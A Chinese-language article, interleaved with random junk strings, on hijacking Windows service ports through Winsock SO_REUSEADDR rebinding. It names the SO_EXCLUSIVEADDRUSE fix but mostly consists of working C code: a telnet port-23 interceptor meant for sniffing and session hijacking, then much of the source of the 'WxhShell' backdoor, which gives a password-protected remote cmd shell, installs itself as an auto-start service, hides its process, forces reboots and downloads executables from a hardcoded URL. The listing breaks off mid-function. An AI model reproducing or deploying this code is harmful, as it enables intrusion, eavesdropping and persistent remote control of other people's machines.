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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: pK|~G."6e s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'nMj<:0wlD sy]hMGH:3W saddr.sin_family = AF_INET; g!\H^d4 $SOFq+-T saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;(3!#4`q(] @PZ{( bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Nt
w?~% BI| TM2oa 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (Qcd !! `w_%HVw>" 这意味着什么?意味着可以进行如下的攻击: [2P6XoI# Vm*E^ v 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ht"?ajW{ DP8%/CV!* 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 'nT#c[x[0 t+ vz=` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >\o._?xSA KSAE!+ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 (uVL!%61k idNra# 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <5 } }3}H} 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |Zk2]eUO+ 2oo/KndU 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )kT.3
Q &\y`9QpVF #include 8Drz
i!} #include +P=IkbxAO #include .Im=-#EN #include !$hi:3{U, DWORD WINAPI ClientThread(LPVOID lpParam); ,
.E> int main() ri%j*Kn { v&qL r+_7 WORD wVersionRequested; 4nrn
Npf`b DWORD ret; al" =ld( WSADATA wsaData; `=$p!H8 BOOL val; ox*>HkV SOCKADDR_IN saddr; L|L;< SOCKADDR_IN scaddr; s1]m^, int err; cLf<YF SOCKET s; 1\a.o[g3e SOCKET sc; Q2!5 int caddsize; aJQzM HANDLE mt; 2){O&8 A DWORD tid; j5[Y0)pV\ wVersionRequested = MAKEWORD( 2, 2 ); $^_6,uBM[ err = WSAStartup( wVersionRequested, &wsaData ); e%lxRN"b if ( err != 0 ) { aaP6zJXi printf("error!WSAStartup failed!\n"); c'>_JlG~ return -1; BwkY;Ur/AL } $J):yhFs e saddr.sin_family = AF_INET; 2EOx],(| -xG6J.S //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 = N;5T 3RanAT.nu: saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2M*i'K;;)P saddr.sin_port = htons(23); h*R w^5,c if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) inFS99DKx { PXyv);#Q` printf("error!socket failed!\n"); `{|w*)mD return -1; bZ_TW9mq } 8{i
O#C val = TRUE;
`8S3Y //SO_REUSEADDR选项就是可以实现端口重绑定的 2]<.m] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) L9<\vJ { Ia<V\$ # printf("error!setsockopt failed!\n"); b50mMWtG return -1; e_|Z& } DJ DQH \& //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; b8_F2 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 n\M8>9c //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S43JaSw) ZSs@9ej if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) gXlcB~! { ]
j8bv3 ret=GetLastError(); l^d' 8n printf("error!bind failed!\n"); Gx8!AmeX return -1; Q`W2\Kod] } k qL.ZR listen(s,2); 14"57Jt8 while(1) "V(P)_ { ^;'8yE/ caddsize = sizeof(scaddr); I/XSW # //接受连接请求 xnt) 1Q sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #G.eiqh$a if(sc!=INVALID_SOCKET) OxYAM,F { D;NL*4zt mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ROmmak(y8 if(mt==NULL) [8a(4]4 { YR*gOTD printf("Thread Creat Failed!\n"); FGx)? break; .whi0~i } /wLGf]0 } 9xO@_pkX CloseHandle(mt); y $\tqQ } aTTkj\4 closesocket(s); |~e"i<G# WSACleanup(); ~t~[@2?WG return 0; S)rr } v>#Njgo DWORD WINAPI ClientThread(LPVOID lpParam) J?w_DQa { m~5 unB9 SOCKET ss = (SOCKET)lpParam; gns}%\, SOCKET sc; Yr/$92( unsigned char buf[4096]; *:@KpYWx" SOCKADDR_IN saddr; y\Aa;pL)RQ long num; ()IZ7#kL? DWORD val; JFVx& DWORD ret; ?@9v+Am! //如果是隐藏端口应用的话,可以在此处加一些判断 qC> tni% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 B{`adq?pW saddr.sin_family = AF_INET; x*7A33@i saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \jwG*a saddr.sin_port = htons(23); l.o/H| if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7b[sW|{ { "00j]e. printf("error!socket failed!\n"); UHZ&7jfl return -1; ^)~Smj^d } <"5l<E val = 100; P+o"]/7U if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &T,|?0>~=J { reN\|?0{ ret = GetLastError(); T;92M}\ return -1; k9}8xpH } ;_I>`h"r if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?>h
~"D# { Oj c Tu ret = GetLastError(); .jCGtR )% return -1; %^@l5h.lqB } |Gf<Ql_.4 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zWC| Qe { =7<JD}G printf("error!socket connect failed!\n"); /aI@2] |~ closesocket(sc); jw:z2:0~ closesocket(ss); 1%+-}yo< return -1; }gkLO
TJ/, } IE`3I#v while(1) '5BD%#[ { W#F9Qw //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 O`@Nl //如果是嗅探内容的话,可以再此处进行内容分析和记录 Op%OQ14$ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |fgUW. num = recv(ss,buf,4096,0); `j>5W<5q\ if(num>0) e'K~WNT send(sc,buf,num,0); Zk=,`sBC else if(num==0) *D?_,s break; 5bLNQz\WJ num = recv(sc,buf,4096,0); spV7\Gs.@ if(num>0) qdix@@ send(ss,buf,num,0); `9^tuR, else if(num==0) L
BbST! break; 6$R9Y.s>Z } zKd@Ab closesocket(ss); Y:!L closesocket(sc); KoERg&fY return 0 ; v&d1ACctJ } f7x2"&?vg n~ *|JJ*` u_k[<&$ ========================================================== WQ9e~D" 8gS7$ EH' 下边附上一个代码,,WXhSHELL wo@ T@Ve~ ' h7Faj ========================================================== q^aDZzx,z <O1R*CaP #include "stdafx.h" <w9~T TS GKt."[seV #include <stdio.h> A8m06 #include <string.h> m{Q
#f\< #include <windows.h> HA,o2jZ?In #include <winsock2.h> lbHgxZ #include <winsvc.h> T-] {gc #include <urlmon.h> /JR+WmO c~R'`Q #pragma comment (lib, "Ws2_32.lib") i;O_B5
d #pragma comment (lib, "urlmon.lib") I8bM-k):9R & P-8_I #define MAX_USER 100 // 最大客户端连接数 ^FLs_=E #define BUF_SOCK 200 // sock buffer ?AyxRbk #define KEY_BUFF 255 // 输入 buffer ;iKLf~a a ,:t,$A #define REBOOT 0 // 重启 .!o]oM
U/ #define SHUTDOWN 1 // 关机 MltO.K! dxX`\{E #define DEF_PORT 5000 // 监听端口 wK(]E%\ $lxpwO #define REG_LEN 16 // 注册表键长度 w ,j*I7V #define SVC_LEN 80 // NT服务名长度 TE
Z%|5(] O*~,L6# } // 从dll定义API Blxa0&3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,U\s89 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !UoA6C: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D{+@ ,C7B typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ve
d]X! vD#U+ // wxhshell配置信息 oP,*H6)i struct WSCFG { ozRO:*51 int ws_port; // 监听端口 \ptO4E char ws_passstr[REG_LEN]; // 口令 r
XJx~
g int ws_autoins; // 安装标记, 1=yes 0=no j}u L char ws_regname[REG_LEN]; // 注册表键名 7p1Y g char ws_svcname[REG_LEN]; // 服务名 uyYV_Q0~; char ws_svcdisp[SVC_LEN]; // 服务显示名 uRb48Qy2 char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q4cCg7|0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FSM M int ws_downexe; // 下载执行标记, 1=yes 0=no YZf{."Opj[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" .)tv'V/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hju^x8
,=m F=qILwd }; X~r9yl> Xe_ <]| // default Wxhshell configuration E*YmHJ:k struct WSCFG wscfg={DEF_PORT, 5k0iVpjQ "xuhuanlingzhe", eke[{%L 1, 21v--wZ "Wxhshell", DSLX/uo1 "Wxhshell", N?qETp -: "WxhShell Service", )Eozo4~ "Wrsky Windows CmdShell Service", x Q"uC!Gu4 "Please Input Your Password: ", 77M!2S_E 1, RnH?95n?{ " http://www.wrsky.com/wxhshell.exe", 1J!v;Y\\ "Wxhshell.exe" No7-fX1B }; GN|"RuQ |.c4y* // 消息定义模块 4#(/{6J char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2 ,nhs,FZ char *msg_ws_prompt="\n\r? for help\n\r#>"; AW r2Bv char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; w%\
n XJ char *msg_ws_ext="\n\rExit."; k1z`92" char *msg_ws_end="\n\rQuit."; "e-Y?_S7R8 char *msg_ws_boot="\n\rReboot..."; kqeEm{I char *msg_ws_poff="\n\rShutdown..."; ajycYk9<m char *msg_ws_down="\n\rSave to "; FsqH:I4O j&
7>ph char *msg_ws_err="\n\rErr!"; 9y7hJib char *msg_ws_ok="\n\rOK!"; YIk@{V ;}Jv4Z char ExeFile[MAX_PATH]; 7X(2SI3m int nUser = 0; 4S42h_9 HANDLE handles[MAX_USER]; Kz;Ar&^`N int OsIsNt; 0gqV>: diXWm-ZKL SERVICE_STATUS serviceStatus; j*QdD\) SERVICE_STATUS_HANDLE hServiceStatusHandle; T}!9T!(HdF vEx'~_+a9 // 函数声明 N-l`U(Z~P int Install(void); o135Xh$_>' int Uninstall(void); q!W,2xqZoq int DownloadFile(char *sURL, SOCKET wsh); pS8\ B int Boot(int flag); ?*V\
-7jg void HideProc(void); +\+j/sa int GetOsVer(void); 7z$53z int Wxhshell(SOCKET wsl); -|'@:cIZ void TalkWithClient(void *cs); oJM;CN int CmdShell(SOCKET sock); F+Kju2 int StartFromService(void); xlZh(pf int StartWxhshell(LPSTR lpCmdLine); t5 >ma:^j Jm ,:6T VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OR&pGoW VOID WINAPI NTServiceHandler( DWORD fdwControl ); GQg
2!s( W.4R+kF< // 数据结构和表定义 fKEDe>B5 SERVICE_TABLE_ENTRY DispatchTable[] = #TUm&2 +V { +_ehzo97 {wscfg.ws_svcname, NTServiceMain}, MNU7OX< {NULL, NULL} F$>#P7ph\a }; 6MOwn*%5k z~ Zm1tZs // 自我安装 ~7aD#`amU int Install(void) X%-"b` { ],AtR1k char svExeFile[MAX_PATH]; eAO@B HKEY key; #}.{|'L strcpy(svExeFile,ExeFile); R:P), %^W(sB$b // 如果是win9x系统,修改注册表设为自启动 .z
CkB86 if(!OsIsNt) { 0F uj-q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bHq.3; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ral=`/p RegCloseKey(key); '3^_:E5y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E5gt_,j> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); / !h<+ RegCloseKey(key); rG-x 3>b return 0; ,P`:`XQ>_B } zKk=R6w } W SvhC } |1kA6/ else { WjVm{ 7?{ u YFy4E3 // 如果是NT以上系统,安装为系统服务 9XUYy2{G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PtPx(R3 if (schSCManager!=0) S41S+#7t* { /"!ck2d&1 SC_HANDLE schService = CreateService E08!a ( oeVI 6-_S schSCManager, ER`;0#3[9u wscfg.ws_svcname, |I]G=.*E wscfg.ws_svcdisp, aEUEy:. SERVICE_ALL_ACCESS, R74RJi& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9;gy38.3 SERVICE_AUTO_START, |v>W SERVICE_ERROR_NORMAL, +IGSOWL
svExeFile, sz7<u| NULL, *Ta
{ NULL, rJ4A9d3: NULL, 3cqc< NULL, Kr<a6BEv5 NULL j%S}
T)pX ); .4z_ohe if (schService!=0) 0 4ceDe { T~lHm CloseServiceHandle(schService); #cl|5jm+m# CloseServiceHandle(schSCManager); /jc;
2 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #3C]" strcat(svExeFile,wscfg.ws_svcname); K?S5C8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hs)_h^P
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); fQf d1=4 RegCloseKey(key); 0VgsV; return 0; zM%2h:*+{ } x1+ V } H"JzTo8u CloseServiceHandle(schSCManager); I~M@v59C } |dqAT . } TwZmZE ?! p?<T
_9e return 1; U)S!@2(4 } d?GB#N|+g -
[vH4~ // 自我卸载 OLJ|gunA# int Uninstall(void) |HTTTz9R. { ]#O~lq HKEY key; &~N@M!`Dn ?h-:,icR if(!OsIsNt) { <QRRD*\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D0p>Q^w RegDeleteValue(key,wscfg.ws_regname); D7,{p2<2T RegCloseKey(key); d/I*$UC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4q`e<!MP)q RegDeleteValue(key,wscfg.ws_regname); ";/,FUJJ RegCloseKey(key); !-|{B3"6 return 0; :8Ql(I } zqGo7;;# } II}3w#r4 } X2C&q$8 else { ~i9'9PHX@ 0bI}
s`sr SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qa)Qf,` if (schSCManager!=0) k9oLJ<.k { `BKV/Xl SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j?oh~7Ki if (schService!=0) MN. $a9m { b#{[Pk,w9 if(DeleteService(schService)!=0) { "s
rRlu CloseServiceHandle(schService); `RLn)a CloseServiceHandle(schSCManager); ]=T-Cv=t return 0; ]c$)0O\O } }>~]q)] CloseServiceHandle(schService); ZuVucP>>_d } u+, CloseServiceHandle(schSCManager); Yuqt=\? # } xa|/P#q } )Uu! x6 ;UDd4@3`S" return 1; H.]rH,8 } -_"6jU #u<n . // 从指定url下载文件 NE2P
"mY int DownloadFile(char *sURL, SOCKET wsh) ;-!j,V+$h { zTvGku[3 HRESULT hr; "jMSF@lr char seps[]= "/"; "kg;fF| char *token; U%E364;F char *file; Ym5ji$!2 char myURL[MAX_PATH]; 4vbtB2 char myFILE[MAX_PATH]; C p.qL B~t[Gy strcpy(myURL,sURL); ;<)<4N" token=strtok(myURL,seps); AI\|8[kf0 while(token!=NULL) 9s@$P7N5B { '\I!RAZ file=token; f?|cQ[#t!\ token=strtok(NULL,seps); Z_}[hz$ } UUaC@Rs2 /yNLFL" GetCurrentDirectory(MAX_PATH,myFILE); ]'!$T72 strcat(myFILE, "\\"); B #zU'G*Y strcat(myFILE, file); yITL;dBy send(wsh,myFILE,strlen(myFILE),0); Ir :y# send(wsh,"...",3,0); -N~eb^3[c hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S<bsrS*$ if(hr==S_OK) A4`3yy{0- return 0; tEE4"OAy else @_4E^KgF return 1; /<-@8CC< 9E-]S'Z } 1]% ]"JbV E[2>je // 系统电源模块 rI.CCPY~s int Boot(int flag) g:]X '%Ub { C6ry]R@ HANDLE hToken; .\:{6_ TOKEN_PRIVILEGES tkp; lbUUf} Z.rR) if(OsIsNt) { Xah-*]ET OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3;Ztm$8 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $zv&MD!&h tkp.PrivilegeCount = 1; t`oH7)nut tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R-lpsvDDL2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?&rt)/DV, if(flag==REBOOT) { .&2Nm&y$K if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k^C^.[? return 0; lz>>{ } F*rsi7#!pG else { |p\vH#6y+ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b^q8s4( return 0; bji^b@us_ } $-ICTp } tTcff9ee else { o`+$h:zm@ if(flag==REBOOT) { 5g\>x;cc if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +u\kTn return 0; q\]"}M8 } R?L?6~/q else { (YC{BM} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K2
b\9} return 0; }{y(&Oy3Y } $z48~nu@j } 8K@>BFk1. u|{(m_"H return 1; Y7_2pGvZ } /(jG9RM 7Adg; // win9x进程隐藏模块 J_`a}ox void HideProc(void) }|u>b!7_. { a4E{7c -Wm'@4bH HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &w'1 if ( hKernel != NULL ) rm?C_ { -|g9__|@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VqL#w<A% ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qLWM,[Og FreeLibrary(hKernel); 1<;RI?R[9 } f(UB$^4 HnsPXF'8g return; )\RG
NJMC } pG(Fw> .NSV%I // 获取操作系统版本 x^~@`]TV^ int GetOsVer(void) C/#?S=w`4 { C'.^2s#e8 OSVERSIONINFO winfo; U%r|hn3 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Iq@&?,W GetVersionEx(&winfo); 31&;3?3> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \__xTL\ return 1; ?<efKs else '_B;e=v` return 0; Dp-j(F } j.kv!;Rj= k7kPeq // 客户端句柄模块 k@P?,r int Wxhshell(SOCKET wsl) b ,e"x48q { YVLK X}$)( SOCKET wsh; ^GnR1.ux struct sockaddr_in client; 'OI(MuSn DWORD myID; Ia j`u 7G=Q9^J.H while(nUser<MAX_USER)
N<~LgH { _%KRZx} int nSize=sizeof(client); UetI4` wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3w}ul~>j if(wsh==INVALID_SOCKET) return 1; *:?XbtIK u M'nzoRk handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0@wXE\s if(handles[nUser]==0) m:Fdgu9 closesocket(wsh); !.{"Ttn;s else 1EWskmp nUser++; 6 apK } n(#[[k9&Ic WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )Lg~2]'?j PkcvUJV return 0; Y-+JDrK } {hoe^07XK z\-/R9E/5- // 关闭 socket V ;"Rp-`^ void CloseIt(SOCKET wsh) xy-Vw"I[bh { <07]w$m/ closesocket(wsh); Y/T-2)D nUser--; lE$(*1H ExitThread(0);
0:$pJtx" } R-tZC9
@ ee{K5 G // 客户端请求句柄 gOr%N!5 void TalkWithClient(void *cs) =7F?'&LC { 0nZQ"{x <8^ws90Y SOCKET wsh=(SOCKET)cs; #'y&M t char pwd[SVC_LEN]; erOj(ce char cmd[KEY_BUFF]; 0,B"p char chr[1]; HGF&'@dn int i,j; :mhO/Bx ?kS#g while (nUser < MAX_USER) { h)^|VM
zm3$)*p1 if(wscfg.ws_passstr) { eQ*zi9na if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e/x6{~ju^N //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VAA="yN //ZeroMemory(pwd,KEY_BUFF); rONz*ly|i i=0; z:=E-+ while(i<SVC_LEN) { S0ltj8t iUs_)1 // 设置超时 7g:Lj,Z4L fd_set FdRead; &Zjs struct timeval TimeOut; aq\Fh7 FD_ZERO(&FdRead); #J t1AV FD_SET(wsh,&FdRead); sRZ?Ilua6 TimeOut.tv_sec=8; /qFY$vj TimeOut.tv_usec=0; '
H4m" int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); d[Zx [=h if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); DXQ]b)y+N cj[x%eK> if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); egH,7f(yP pwd =chr[0]; uN1VkmtDO if(chr[0]==0xd || chr[0]==0xa) { eZD"!AT pwd=0; pfw`<*e' break; (?ULp{VPFl } :4)(Qa( i++; nw#AKtd@x } PXML1.r$Q h!Y##_&&4 // 如果是非法用户,关闭 socket ryqu2>(
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hj{)6dBX% } brG!TJ 1 ^30]2'_ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,v`03?8l( send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7 U-}Y `jyyRwSoe while(1) { (?TK P 7 bdfs'udt9 ZeroMemory(cmd,KEY_BUFF); Jfo'iNOu My Ky*wD // 自动支持客户端 telnet标准 apt$e$g j=0; w'XN<RWA while(j<KEY_BUFF) { pjQyN|KS if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q*tGlM@R? cmd[j]=chr[0]; %I{>H%CjE if(chr[0]==0xa || chr[0]==0xd) { mU"Am0Bdjq cmd[j]=0; %nG>3.% break; ,k*%=TF7N } mSvSdKKKlI j++; !"&-k:|g } 2 |JEGyDS- nkTdn // 下载文件 5#s],h if(strstr(cmd,"http://")) { ^2{ 6W6= send(wsh,msg_ws_down,strlen(msg_ws_down),0); ef_H*e if(DownloadFile(cmd,wsh)) g'{?j~g send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Q5,Zhgr else b)M-q{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BkPt 1i } m*CW3y{n) else { /8nUecr /xcXd+k] switch(cmd[0]) { KLj=M;$:K r :$*pC&{ // 帮助 VH<d[Mj case '?': { BFhEDkk send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "'@D\e} break; o0>| } { Ie~MW // 安装 |K;9b-\ case 'i': { j@^zK!mO if(Install()) HFTeG4R send(wsh,msg_ws_err,strlen(msg_ws_err),0); mpCu,l+lo else Nnr[@^M5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ea][:3 break; ;|Hpg_~%> } );_ /0: // 卸载 !Ur.b
@ke case 'r': { %3"3V1 if(Uninstall()) 6<>1,wbq send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7SH3k=x else KdYR?rY send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5Phsh break; i2rSP$j } _b>{:H&\ // 显示 wxhshell 所在路径 zPybPE8 case 'p': { =nc;~u|] char svExeFile[MAX_PATH];
T3<1{"& strcpy(svExeFile,"\n\r"); b_6cK# strcat(svExeFile,ExeFile); .0RQbc9 send(wsh,svExeFile,strlen(svExeFile),0); d$x vEm break; X>Q4 4FV! } x V`l6QS // 重启 4X7J~ case 'b': { J$5G8<d> send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8 >LDo"< if(Boot(REBOOT)) ]+m2pEO send(wsh,msg_ws_err,strlen(msg_ws_err),0); F[%k;aJ else { Wa.xm_4s2 closesocket(wsh); ~_"V7 ExitThread(0); 9QB,%K_:4 } ot2zY
dWAz break; ?PTXgIC } nw+^@|4 // 关机 febn?|@ case 'd': { dQ-shfTr] send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YEaT_zWG0 if(Boot(SHUTDOWN)) (`E`xb@E,= send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~Js kA5h|& else { ~$C<^?"b closesocket(wsh); );JWrkpz ExitThread(0); yvzH}$!] } Iy4%,8C]g break; |39,n~"o& } X=abaKl // 获取shell ]1>R8 case 's': { Br}@Vvq@ CmdShell(wsh); r,Xyb` closesocket(wsh); +swT MR ExitThread(0); -ZSN0Xk break; ~CV.Ci.dG } NQ[X=a8N // 退出 w:deQ:k case 'x': { dL'oKh, send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Wu|MNB?M CloseIt(wsh); oOvQAW8` break; lOeX5%$Z } 5fiWo^s} // 离开 +"BJjxG case 'q': { S ;rd0+J send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0(f+a_2^Q closesocket(wsh); ovM;6o WSACleanup(); f sh9-iY8e exit(1); gYrB@W;2 break; <7rj,O1= } Jh&DL8` } snfFRc(RE } ]*mUc` k,=<G, // 提示信息 T!y 9v5 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
H,GjPIG } &QfEDDJ } eCN: 5m0lk|` return; %}zkmEY.e } .(cpYKFX 7* Y*_cH5 // shell模块句柄 0wVM%Dng int CmdShell(SOCKET sock) P%l?C?L { Q[NoFZ
V! STARTUPINFO si; YzG?K0O% ZeroMemory(&si,sizeof(si)); LkzA_|8:D si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =gJ{75tV3 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 80Fa i PROCESS_INFORMATION ProcessInfo; o jxK8_kl char cmdline[]="cmd"; >5kz#|@P CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); M_%KhK return 0; :ZB.I(v } ,qp8Rg|3j yeta)@nH // 自身启动模式 2%R.~9HtA int StartFromService(void) )6p6<y { O-UA2?N@j typedef struct 5;/q[oXI { YV|_y:- DWORD ExitStatus; VvP: }yJ DWORD PebBaseAddress; PH8
88O DWORD AffinityMask; ?K2EK'-q DWORD BasePriority; GEVDXx>@ ULONG UniqueProcessId;
*?1\S^7R ULONG InheritedFromUniqueProcessId; af@a / } PROCESS_BASIC_INFORMATION; ;g#nGs> fP4P'eI PROCNTQSIP NtQueryInformationProcess; P(@Q[XQ2 U%@C<o
" static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }8}`A\dgV static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W(ryL_#; ~V ?z!3r-) HANDLE hProcess; 1|G\&T PROCESS_BASIC_INFORMATION pbi; _fn7-&6 *mj=kJ7(
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `IBNBJy if(NULL == hInst ) return 0; v]Pyz<+ {y5 L g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [x,
